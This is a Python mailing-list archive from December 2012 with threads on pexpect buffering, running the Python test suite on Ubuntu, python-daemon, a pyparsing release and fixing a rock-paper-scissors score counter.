four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: is up! I prefer the most unjust peace to the most righteous war. -- Cicero Even peace may be purchased at too high a price. -- Poor Richard I was taught to respect my elders, but its getting harder and harder to find any... From clp2 at rebertia.com Sat Dec 15 22:44:44 2012 From: clp2 at rebertia.com (Chris Rebert) Date: Sat, 15 Dec 2012 19:44:44 -0800 Subject: Pexpect and buffering In-Reply-To: References: Message-ID: On Dec 15, 2012 4:51 AM, wrote: > > Hello, > > I'm trying to use pexpect to grab interactions with Python's REPL. I am having trouble with tracebacks. Possibly it is related to buffering (hence the subject line) but I admit that's a guess. Why are you doing this in the first place? Why invoke an external Python shell when you're in a Python program to begin with? Seems terribly unnecessarily roundabout. -------------- next part -------------- An HTML attachment was scrubbed... URL: From tjreedy at udel.edu Sun Dec 16 00:00:52 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 16 Dec 2012 00:00:52 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: <201212152159.12649.gheskett@wdtv.com> References: <201212152038.12350.gheskett@wdtv.com> <201212152121.21934.gheskett@wdtv.com> <201212152159.12649.gheskett@wdtv.com> Message-ID: On 12/15/2012 9:59 PM, Gene Heskett wrote: > This is 2.6, on ubuntu-10.04.4 LTS > gene at lathe:/usr/lib/python2.6/test$ python -m test.regrtest That should be the right incantation for 2.6. > test_grammar > test_grammar skipped -- No module named test_grammar > test_opcodes > test_opcodes skipped -- No module named test_opcodes > test_dict > test_dict skipped -- No module named test_dict > test_builtin You appear to have some of /Lib/test/ present, including Lib/test/regrtest.py, but not move of the test_xxx.py files. I do not know what is normal for an Ubuntu distribution. On Windows, I believe it is all or nothing. > ImportError: cannot import name test_timeout I have no idea why this one gave an exception rather than a skip. -- Terry Jan Reedy From dieter at handshake.de Sun Dec 16 02:02:19 2012 From: dieter at handshake.de (Dieter Maurer) Date: Sun, 16 Dec 2012 08:02:19 +0100 Subject: need some help with unexpected signal exception when using input from a thread (Pypy 1.9.0 on osx/linux) References: <50ccfa1f$0$6880$e4fe514c@news.xs4all.nl> Message-ID: <87a9temqdg.fsf@handshake.de> Irmen de Jong writes: > Using Pypy 1.9.0. Importing readline. Using a background thread to get input() from > stdin. It then crashes with: > > File "/usr/local/Cellar/pypy/1.9/lib_pypy/pyrepl/unix_console.py", line 400, in restore > signal.signal(signal.SIGWINCH, self.old_sigwinch) > ValueError: signal() must be called from the main thread > > Anyone seen this before? What's going on? Apparently, "input" is not apt to be called from a "background thread". I have no idea why "signal" should only be callable from the main thread. I do not think this makes much sense. Speak with the "Pypy" developers about this. From gheskett at wdtv.com Sun Dec 16 06:22:32 2012 From: gheskett at wdtv.com (Gene Heskett) Date: Sun, 16 Dec 2012 06:22:32 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: References: <201212152038.12350.gheskett@wdtv.com> <201212152159.12649.gheskett@wdtv.com> Message-ID: <201212160622.32443.gheskett@wdtv.com> On Sunday 16 December 2012 01:33:35 Terry Reedy did opine: > On 12/15/2012 9:59 PM, Gene Heskett wrote: > > This is 2.6, on ubuntu-10.04.4 LTS > > > > gene at lathe:/usr/lib/python2.6/test$ python -m test.regrtest > > That should be the right incantation for 2.6. > > > test_grammar > > test_grammar skipped -- No module named test_grammar > > test_opcodes > > test_opcodes skipped -- No module named test_opcodes > > test_dict > > test_dict skipped -- No module named test_dict > > test_builtin > > You appear to have some of /Lib/test/ present, including > Lib/test/regrtest.py, but not move of the test_xxx.py files. I do not > know what is normal for an Ubuntu distribution. On Windows, I believe it > is all or nothing. /usr/lib/test? gene at lathe:/usr/lib/python2.6$ locate lib/test /opt/libreoffice3.5/program/python-core-2.6.1/lib/idlelib/testcode.py /usr/lib/pymodules/python2.6/launchpadlib/testing /usr/lib/pymodules/python2.6/launchpadlib/tests /usr/lib/pymodules/python2.6/launchpadlib/testing/__init__.py /usr/lib/pymodules/python2.6/launchpadlib/testing/__init__.pyc /usr/lib/pymodules/python2.6/launchpadlib/testing/helpers.py /usr/lib/pymodules/python2.6/launchpadlib/testing/helpers.pyc /usr/lib/pymodules/python2.6/launchpadlib/tests/__init__.py /usr/lib/pymodules/python2.6/launchpadlib/tests/__init__.pyc /usr/lib/pymodules/python2.6/launchpadlib/tests/test_launchpad.py /usr/lib/pymodules/python2.6/launchpadlib/tests/test_launchpad.pyc There are half a dozen or more branches of the python tree that claim to have test things, but the universal answer is: gene at lathe:/usr/lib/python2.6$ cd /usr/share/pyshared/numpy/lib/tests gene at lathe:/usr/share/pyshared/numpy/lib/tests$ python -m test -uall /usr/bin/python: test is a package and cannot be directly executed I have installed several more python 'likely suspects' but have not changed a thing in the results. > > > ImportError: cannot import name test_timeout > > I have no idea why this one gave an exception rather than a skip. Cheers, Gene -- "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: is up! Human kind cannot bear very much reality. -- T. S. Eliot, "Four Quartets: Burnt Norton" I was taught to respect my elders, but its getting harder and harder to find any... From bv8bv8bv8 at gmail.com Sun Dec 16 08:26:38 2012 From: bv8bv8bv8 at gmail.com (BV BV) Date: Sun, 16 Dec 2012 05:26:38 -0800 (PST) Subject: have you seen an amazing miracle like this before...!!? Message-ID: <0af85294-63b7-4b0e-80fd-dd8f0fad9274@n9g2000vbv.googlegroups.com> have you seen an amazing miracle like this before...!!? http://www.youtube.com/watch?v=tPT7fjskipg&feature=BFa&list=PLB95C1C59E12FBA96 thank you From n8felton at gmail.com Sun Dec 16 10:26:56 2012 From: n8felton at gmail.com (n8felton at gmail.com) Date: Sun, 16 Dec 2012 07:26:56 -0800 (PST) Subject: python-daemon Message-ID: Hello all. Got a question for anyone out there that is willing to help. Looking to make a Python Daemon, Google searches lead me to http://pypi.python.org/pypi/python-daemon. My question is 2 part. 1) pip install python-daemon downloads version 1.6, but the site states that 1.5.5 is the latest version. Anyone know why this is? 2) With python-daemon having been last uploaded in 2010, is anyone aware if there is a better implementation for python daemons, or is this still considered current? From rurpy at yahoo.com Sun Dec 16 11:59:46 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Sun, 16 Dec 2012 08:59:46 -0800 (PST) Subject: python-daemon In-Reply-To: References: Message-ID: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> On 12/16/2012 08:26 AM, n8felton at gmail.com wrote: > Hello all. Got a question for anyone out there that is willing to > help. Looking to make a Python Daemon, Google searches lead me to > http://pypi.python.org/pypi/python-daemon. My question is 2 part. 1) > pip install python-daemon downloads version 1.6, but the site states > that 1.5.5 is the latest version. Anyone know why this is? 2) With > python-daemon having been last uploaded in 2010, is anyone aware if > there is a better implementation for python daemons, or is this still > considered current? The author of the python-daemon package I believe is Ben Finney, who sometimes posts here. Sadly, I think he is a member of a group of people here who say they filter out and ignore all messages posted from Google Groups (which would include yours and mine). If you get no other good answers here, you could try emailing him directly at ben+python at benfinney.id.au, which is the address on a recent post from him. Or you could repost from other than GG if you don't mind being a tool of someone else's political agenda. From darrienglasser at gmail.com Sun Dec 16 12:00:27 2012 From: darrienglasser at gmail.com (Darrien Glasser) Date: Sun, 16 Dec 2012 09:00:27 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. Message-ID: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Hey guys, I'm working on a Python rock paper scissors (lizard spock) game, and the beginning is complete. After I finished it, I thought, "You know what? I think I can make this even better, and add a score counter." And so I did. The problem is that it doesn't seem to actually keep track of score. In fact it always keeps the score at 0 for both players. It's fully functional otherwise, but it's bothering me that I can't get it to work. Currently using Windows Python 32 bit v2.6.8 Download of the code here: https://www.box.com/s/2lupxeyk5jvsxs0zkdfb Copy of the code here: http://pastebin.com/MNdgiuSY Thanks in advance for your help... From kwpolska at gmail.com Sun Dec 16 12:09:53 2012 From: kwpolska at gmail.com (Kwpolska) Date: Sun, 16 Dec 2012 18:09:53 +0100 Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: On Sun, Dec 16, 2012 at 6:00 PM, Darrien Glasser wrote: > Hey guys, I'm working on a Python rock paper scissors (lizard spock) game, and the beginning is complete. After I finished it, I thought, "You know what? I think I can make this even better, and add a score counter." And so I did. > > The problem is that it doesn't seem to actually keep track of score. In fact it always keeps the score at 0 for both players. It's fully functional otherwise, but it's bothering me that I can't get it to work. > > Currently using Windows Python 32 bit v2.6.8 > > Download of the code here: > > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb > > Copy of the code here: > > http://pastebin.com/MNdgiuSY > > Thanks in advance for your help... > -- > http://mail.python.org/mailman/listinfo/python-list winx = winx + 1 winy = winy + 1 PS. please do not use pastebin.com. -- Kwpolska stop html mail | always bottom-post www.asciiribbon.org | www.netmeister.org/news/learn2quote.html GPG KEY: 5EAAEA16 From darrienglasser at gmail.com Sun Dec 16 12:12:15 2012 From: darrienglasser at gmail.com (Darrien Glasser) Date: Sun, 16 Dec 2012 09:12:15 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <62626f08-3755-4d09-905e-1f872a303489@googlegroups.com> Awesome thanks, and sounds good. From darrienglasser at gmail.com Sun Dec 16 12:12:15 2012 From: darrienglasser at gmail.com (Darrien Glasser) Date: Sun, 16 Dec 2012 09:12:15 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <62626f08-3755-4d09-905e-1f872a303489@googlegroups.com> Awesome thanks, and sounds good. From esj at harvee.org Sun Dec 16 12:13:46 2012 From: esj at harvee.org (Eric Johansson) Date: Sun, 16 Dec 2012 12:13:46 -0500 Subject: problem with web browser module In-Reply-To: References: <50CD03AE.1020102@harvee.org> Message-ID: <50CE014A.5030400@harvee.org> On Saturday, December 15, 2012 9:14:25 PM, Terry Reedy wrote: > I believe this worked with Firefox the last time I tested. I just read > the docs. Never tried IE. I believe details partly depend on browser. thank you Terry. I will try with Firefox but the main reason I'm using IE is simply because nuance has created a module to make the text areas speech recognition friendly. So I will do some more work to find out how to make IE do what I needed it to do. thank you again. From jim.hefferon at gmail.com Sun Dec 16 12:14:57 2012 From: jim.hefferon at gmail.com (jim.hefferon at gmail.com) Date: Sun, 16 Dec 2012 09:14:57 -0800 (PST) Subject: Pexpect and buffering In-Reply-To: References: Message-ID: Sorry to reply to my own post, but I believe I have my answer and I want to help anyone who might google their way here: I need to change PROMPT and PROMPT_CONTINUE to be regular expressions, for instance by escaping the periods. From rurpy at yahoo.com Sun Dec 16 12:16:34 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Sun, 16 Dec 2012 09:16:34 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> > Hey guys, I'm working on a Python rock paper scissors (lizard spock) > game, and the beginning is complete. After I finished it, I thought, > "You know what? I think I can make this even better, and add a score > counter." And so I did. > > The problem is that it doesn't seem to actually keep track of score. > In fact it always keeps the score at 0 for both players. It's fully > functional otherwise, but it's bothering me that I can't get it to > work. > > Currently using Windows Python 32 bit v2.6.8 > > Download of the code here: > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb > > Copy of the code here: > http://pastebin.com/MNdgiuSY If you are keeping the score in 'winx 'and 'winy' then you are adding one to the the values but not saving the results. I think you want winx = winx + 1 or more concisely, winx += 1 From darrienglasser at gmail.com Sun Dec 16 12:19:40 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 09:19:40 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> Message-ID: <6c57b842-6375-4cea-aaba-b45e67d15b41@googlegroups.com> Actually, I was just going to post that it wasn't saving the scores. Great timing, I'll try it. From rurpy at yahoo.com Sun Dec 16 12:25:26 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Sun, 16 Dec 2012 09:25:26 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <70987e1d-716e-42a6-b08c-c7fe709a961a@googlegroups.com> On Sunday, December 16, 2012 10:09:53 AM UTC-7, Kwpolska wrote: >[...] > PS. please do not use pastebin.com. Why? From rurpy at yahoo.com Sun Dec 16 12:25:26 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Sun, 16 Dec 2012 09:25:26 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <70987e1d-716e-42a6-b08c-c7fe709a961a@googlegroups.com> On Sunday, December 16, 2012 10:09:53 AM UTC-7, Kwpolska wrote: >[...] > PS. please do not use pastebin.com. Why? From ptmcg at austin.rr.com Sun Dec 16 12:28:10 2012 From: ptmcg at austin.rr.com (Paul McGuire) Date: Sun, 16 Dec 2012 09:28:10 -0800 (PST) Subject: ANNOUNCE: pyparsing 1.5.7/2.0.0 Message-ID: With the release of version 2.0.0/1.5.7, pyparsing has now officially switched to Python 3.x support as its default installation environment. Python 2.x users can install the latest 1.5.7 release. (If you're using easy_install, do "easy_install pyparsing==1.5.7".) I'm taking this opportunity to do some minor API tweaking too, renaming some operators and method names that I got wrong earlier (the old operators and methods are still there for now for compatibility, but they are deprecated to be removed in a future release): - Added new operator '<<=', which will eventually replace '<<' for storing the contents of a Forward(). '<<=' does not have the same operator precedence problems that '<<' does. - 'operatorPrecedence' is being renamed 'infixNotation' as a better description of what this helper function creates. 'operatorPrecedence' is deprecated, and will be dropped entirely in a future release. Several bug-fixes are included, plus several new examples, *and* an awesome example submitted by Luca DellOlio, for parsing ANTLR grammar definitions and implementing them with pyparsing objects. --------------- Pyparsing wiki: pyparsing.wikispaces.com SVN checkout: (latest) svn checkout https://pyparsing.svn.sourceforge.net/svnroot/pyparsing/trunk pyparsing (1.5.x branch) svn checkout https://pyparsing.svn.sourceforge.net/svnroot/pyparsing/branches/pyparsing_1.5.x pyparsing From kwpolska at gmail.com Sun Dec 16 12:32:38 2012 From: kwpolska at gmail.com (Kwpolska) Date: Sun, 16 Dec 2012 18:32:38 +0100 Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <70987e1d-716e-42a6-b08c-c7fe709a961a@googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <70987e1d-716e-42a6-b08c-c7fe709a961a@googlegroups.com> Message-ID: On Sun, Dec 16, 2012 at 6:25 PM, wrote: > On Sunday, December 16, 2012 10:09:53 AM UTC-7, Kwpolska wrote: >>[...] >> PS. please do not use pastebin.com. > > Why? > -- > http://mail.python.org/mailman/listinfo/python-list http://news.ycombinator.com/item?id=2595066 should answer this very question. -- Kwpolska stop html mail | always bottom-post www.asciiribbon.org | www.netmeister.org/news/learn2quote.html GPG KEY: 5EAAEA16 From darrienglasser at gmail.com Sun Dec 16 12:44:24 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 09:44:24 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> Message-ID: <88834c90-2431-4afa-a833-88d2df61970a@googlegroups.com> On Sunday, December 16, 2012 12:16:34 PM UTC-5, ru... at yahoo.com wrote: > > Hey guys, I'm working on a Python rock paper scissors (lizard spock) > > > game, and the beginning is complete. After I finished it, I thought, > > > "You know what? I think I can make this even better, and add a score > > > counter." And so I did. > > > > > > The problem is that it doesn't seem to actually keep track of score. > > > In fact it always keeps the score at 0 for both players. It's fully > > > functional otherwise, but it's bothering me that I can't get it to > > > work. > > > > > > Currently using Windows Python 32 bit v2.6.8 > > > > > > Download of the code here: > > > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb > > > > > > Copy of the code here: > > > http://pastebin.com/MNdgiuSY > > > > If you are keeping the score in 'winx 'and 'winy' then you are adding > > one to the the values but not saving the results. > > > > I think you want > > > > winx = winx + 1 > > > > or more concisely, > > > > winx += 1 I changed it so that it said winx += 1 etc. and it doesn't seem to save it. I also tried pulling the variables from the loop and making them global variables at the top. The latter game me a traceback error when printing out the results. Any ideas? http://puu.sh/1BCbG Code Preview/Download https://www.box.com/s/jiu0259nohx0kae2am57 From kwpolska at gmail.com Sun Dec 16 12:50:18 2012 From: kwpolska at gmail.com (Kwpolska) Date: Sun, 16 Dec 2012 18:50:18 +0100 Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <88834c90-2431-4afa-a833-88d2df61970a@googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> <88834c90-2431-4afa-a833-88d2df61970a@googlegroups.com> Message-ID: On Sun, Dec 16, 2012 at 6:44 PM, tbg wrote: > I changed it so that it said winx += 1 etc. and it doesn't seem to save it. I also tried pulling the variables from the loop and making them global variables at the top. > > The latter game me a traceback error when printing out the results. Any ideas? > > http://puu.sh/1BCbG > > Code Preview/Download > > https://www.box.com/s/jiu0259nohx0kae2am57 > -- > http://mail.python.org/mailman/listinfo/python-list Put this on top of your function: global winx, winy PS. Why did you put those delays in? They are useless. -- Kwpolska stop html mail | always bottom-post www.asciiribbon.org | www.netmeister.org/news/learn2quote.html GPG KEY: 5EAAEA16 From darrienglasser at gmail.com Sun Dec 16 13:00:26 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 10:00:26 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> <88834c90-2431-4afa-a833-88d2df61970a@googlegroups.com> Message-ID: On Sunday, December 16, 2012 12:50:18 PM UTC-5, Kwpolska wrote: > On Sun, Dec 16, 2012 at 6:44 PM, tbg wrote: > > > I changed it so that it said winx += 1 etc. and it doesn't seem to save it. I also tried pulling the variables from the loop and making them global variables at the top. > > > > > > The latter game me a traceback error when printing out the results. Any ideas? > > > > > > http://puu.sh/1BCbG > > > > > > Code Preview/Download > > > > > > https://www.box.com/s/jiu0259nohx0kae2am57 > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > Put this on top of your function: > > > > global winx, winy > > > > > > PS. Why did you put those delays in? They are useless. > > -- > > Kwpolska > > stop html mail | always bottom-post > > www.asciiribbon.org | www.netmeister.org/news/learn2quote.html > > GPG KEY: 5EAAEA16 I figured it would be too much for the person playing the game. Getting attacked with lines of text and all. Although it is a pain developing with it. And by the way, works perfectly now. Thanks for your help. From darrienglasser at gmail.com Sun Dec 16 13:00:26 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 10:00:26 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <74df5d0e-7e39-41b0-9f15-7aa996228fa3@googlegroups.com> <88834c90-2431-4afa-a833-88d2df61970a@googlegroups.com> Message-ID: On Sunday, December 16, 2012 12:50:18 PM UTC-5, Kwpolska wrote: > On Sun, Dec 16, 2012 at 6:44 PM, tbg wrote: > > > I changed it so that it said winx += 1 etc. and it doesn't seem to save it. I also tried pulling the variables from the loop and making them global variables at the top. > > > > > > The latter game me a traceback error when printing out the results. Any ideas? > > > > > > http://puu.sh/1BCbG > > > > > > Code Preview/Download > > > > > > https://www.box.com/s/jiu0259nohx0kae2am57 > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > Put this on top of your function: > > > > global winx, winy > > > > > > PS. Why did you put those delays in? They are useless. > > -- > > Kwpolska > > stop html mail | always bottom-post > > www.asciiribbon.org | www.netmeister.org/news/learn2quote.html > > GPG KEY: 5EAAEA16 I figured it would be too much for the person playing the game. Getting attacked with lines of text and all. Although it is a pain developing with it. And by the way, works perfectly now. Thanks for your help. From msirenef at lightbird.net Sun Dec 16 13:07:16 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Sun, 16 Dec 2012 13:07:16 -0500 Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <50CE0DD4.6000208@lightbird.net> On 12/16/2012 12:00 PM, Darrien Glasser wrote: > Hey guys, I'm working on a Python rock paper scissors (lizard spock) game, and the beginning is complete. After I finished it, I thought, "You know what? I think I can make this even better, and add a score counter." And so I did. > > The problem is that it doesn't seem to actually keep track of score. In fact it always keeps the score at 0 for both players. It's fully functional otherwise, but it's bothering me that I can't get it to work. > > Currently using Windows Python 32 bit v2.6.8 > > Download of the code here: > > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb > > Copy of the code here: > > http://pastebin.com/MNdgiuSY > > Thanks in advance for your help... I was actually thinking of making a simple rock paper scissors game so I went ahead and cobbled it together, using a design with a class and generally a structured approach.. It keeps the scores, too, and you can set both players to be AI, or one to be AI, or both to be humans: https://github.com/pythonbyexample/PBE/blob/master/code/rockpaper.py (it needs python3 but can be easily changed to work with python2.x) - mitya -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From darrienglasser at gmail.com Sun Dec 16 13:17:20 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 10:17:20 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: On Sunday, December 16, 2012 1:07:16 PM UTC-5, Mitya Sirenef wrote: > On 12/16/2012 12:00 PM, Darrien Glasser wrote: > > > Hey guys, I'm working on a Python rock paper scissors (lizard spock) game, and the beginning is > > complete. After I finished it, I thought, "You know what? I think I can > > make this even better, and add a score counter." And so I did. > > > > > > The problem is that it doesn't seem to actually keep track of score. > > In fact it always keeps the score at 0 for both players. It's fully > > functional otherwise, but it's bothering me that I can't get it to work. > > > > > > Currently using Windows Python 32 bit v2.6.8 > > > > > > Download of the code here: > > > > > > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb > > > > > > Copy of the code here: > > > > > > http://pastebin.com/MNdgiuSY > > > > > > Thanks in advance for your help... > > > > > > I was actually thinking of making a simple rock paper scissors game so I > > went ahead and cobbled it together, using a design with a class and > > generally a structured approach.. It keeps the scores, too, and you can > > set both players to be AI, or one to be AI, or both to be humans: > > > > https://github.com/pythonbyexample/PBE/blob/master/code/rockpaper.py > > > > (it needs python3 but can be easily changed to work with python2.x) > > > > > > - mitya > > > > -- > > Lark's Tongue Guide to Python: http://lightbird.net/larks/ Well there goes my hopes and dreams of being the first one to do that. Nice job by the way. From darrienglasser at gmail.com Sun Dec 16 13:17:20 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 10:17:20 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: On Sunday, December 16, 2012 1:07:16 PM UTC-5, Mitya Sirenef wrote: > On 12/16/2012 12:00 PM, Darrien Glasser wrote: > > > Hey guys, I'm working on a Python rock paper scissors (lizard spock) game, and the beginning is > > complete. After I finished it, I thought, "You know what? I think I can > > make this even better, and add a score counter." And so I did. > > > > > > The problem is that it doesn't seem to actually keep track of score. > > In fact it always keeps the score at 0 for both players. It's fully > > functional otherwise, but it's bothering me that I can't get it to work. > > > > > > Currently using Windows Python 32 bit v2.6.8 > > > > > > Download of the code here: > > > > > > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb > > > > > > Copy of the code here: > > > > > > http://pastebin.com/MNdgiuSY > > > > > > Thanks in advance for your help... > > > > > > I was actually thinking of making a simple rock paper scissors game so I > > went ahead and cobbled it together, using a design with a class and > > generally a structured approach.. It keeps the scores, too, and you can > > set both players to be AI, or one to be AI, or both to be humans: > > > > https://github.com/pythonbyexample/PBE/blob/master/code/rockpaper.py > > > > (it needs python3 but can be easily changed to work with python2.x) > > > > > > - mitya > > > > -- > > Lark's Tongue Guide to Python: http://lightbird.net/larks/ Well there goes my hopes and dreams of being the first one to do that. Nice job by the way. From msirenef at lightbird.net Sun Dec 16 13:23:10 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Sun, 16 Dec 2012 13:23:10 -0500 Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <50CE118E.3050901@lightbird.net> On 12/16/2012 01:17 PM, tbg wrote: > On Sunday, December 16, 2012 1:07:16 PM UTC-5, Mitya Sirenef wrote: >> On 12/16/2012 12:00 PM, Darrien Glasser wrote: >> >>> Hey guys, I'm working on a Python rock paper scissors (lizard spock) game, and the beginning is >> complete. After I finished it, I thought, "You know what? I think I can >> >> make this even better, and add a score counter." And so I did. >> >> > >> >> > The problem is that it doesn't seem to actually keep track of score. >> >> In fact it always keeps the score at 0 for both players. It's fully >> >> functional otherwise, but it's bothering me that I can't get it to work. >> >> > >> >> > Currently using Windows Python 32 bit v2.6.8 >> >> > >> >> > Download of the code here: >> >> > >> >> > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb >> >> > >> >> > Copy of the code here: >> >> > >> >> > http://pastebin.com/MNdgiuSY >> >> > >> >> > Thanks in advance for your help... >> >> >> >> >> >> I was actually thinking of making a simple rock paper scissors game so I >> >> went ahead and cobbled it together, using a design with a class and >> >> generally a structured approach.. It keeps the scores, too, and you can >> >> set both players to be AI, or one to be AI, or both to be humans: >> >> >> >> https://github.com/pythonbyexample/PBE/blob/master/code/rockpaper.py >> >> >> >> (it needs python3 but can be easily changed to work with python2.x) >> >> >> >> >> >> - mitya >> >> >> >> -- >> >> Lark's Tongue Guide to Python: http://lightbird.net/larks/ > Well there goes my hopes and dreams of being the first one to do that. Nice job by the way. Well you were the first :-) I just did it to illustrate a modular approach, I think a simple game like that is a great learning opportunity. I posted an update with some small cleanups just now.. -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From ian.g.kelly at gmail.com Sun Dec 16 13:35:02 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Sun, 16 Dec 2012 11:35:02 -0700 Subject: Pastebin [was: Trying to make a basic Python score counter in a game... will not count.] Message-ID: On Sun, Dec 16, 2012 at 10:32 AM, Kwpolska wrote: > On Sun, Dec 16, 2012 at 6:25 PM, wrote: >> On Sunday, December 16, 2012 10:09:53 AM UTC-7, Kwpolska wrote: >>>[...] >>> PS. please do not use pastebin.com. >> >> Why? > > http://news.ycombinator.com/item?id=2595066 should answer this very question. That seems to be a problem with a certain class of users that have adopted Pastebin, not a problem with the site itself. What do you hope to accomplish by boycotting Pastebin for actual code pastes? Even if the site were to cease to exist tomorrow, what is to stop the hackers from simply switching to dpaste or gist like everybody else? From darrienglasser at gmail.com Sun Dec 16 13:38:50 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 10:38:50 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: Nice, will have to try it out... From darrienglasser at gmail.com Sun Dec 16 13:38:50 2012 From: darrienglasser at gmail.com (tbg) Date: Sun, 16 Dec 2012 10:38:50 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: Nice, will have to try it out... From tjreedy at udel.edu Sun Dec 16 13:49:28 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 16 Dec 2012 13:49:28 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: <201212160622.32443.gheskett@wdtv.com> References: <201212152038.12350.gheskett@wdtv.com> <201212152159.12649.gheskett@wdtv.com> <201212160622.32443.gheskett@wdtv.com> Message-ID: On 12/16/2012 6:22 AM, Gene Heskett wrote: > On Sunday 16 December 2012 01:33:35 Terry Reedy did opine: >> You appear to have some of /Lib/test/ present, including >> Lib/test/regrtest.py, but not move of the test_xxx.py files. I do not >> know what is normal for an Ubuntu distribution. On Windows, I believe it >> is all or nothing. > /usr/lib/test? No. I am on Windows and by /Lib I mean the directory containing Python-coded stdlib modules. It is on sys.path. For me, the path entry is 'C:\\Programs\\Python33\\lib'. (Windows paths are case indifferent for matching.) /test is one of several package subdirectories in /Lib. -- Terry Jan Reedy From jwe.van.dijk at gmail.com Sun Dec 16 14:43:12 2012 From: jwe.van.dijk at gmail.com (jwe.van.dijk at gmail.com) Date: Sun, 16 Dec 2012 11:43:12 -0800 (PST) Subject: 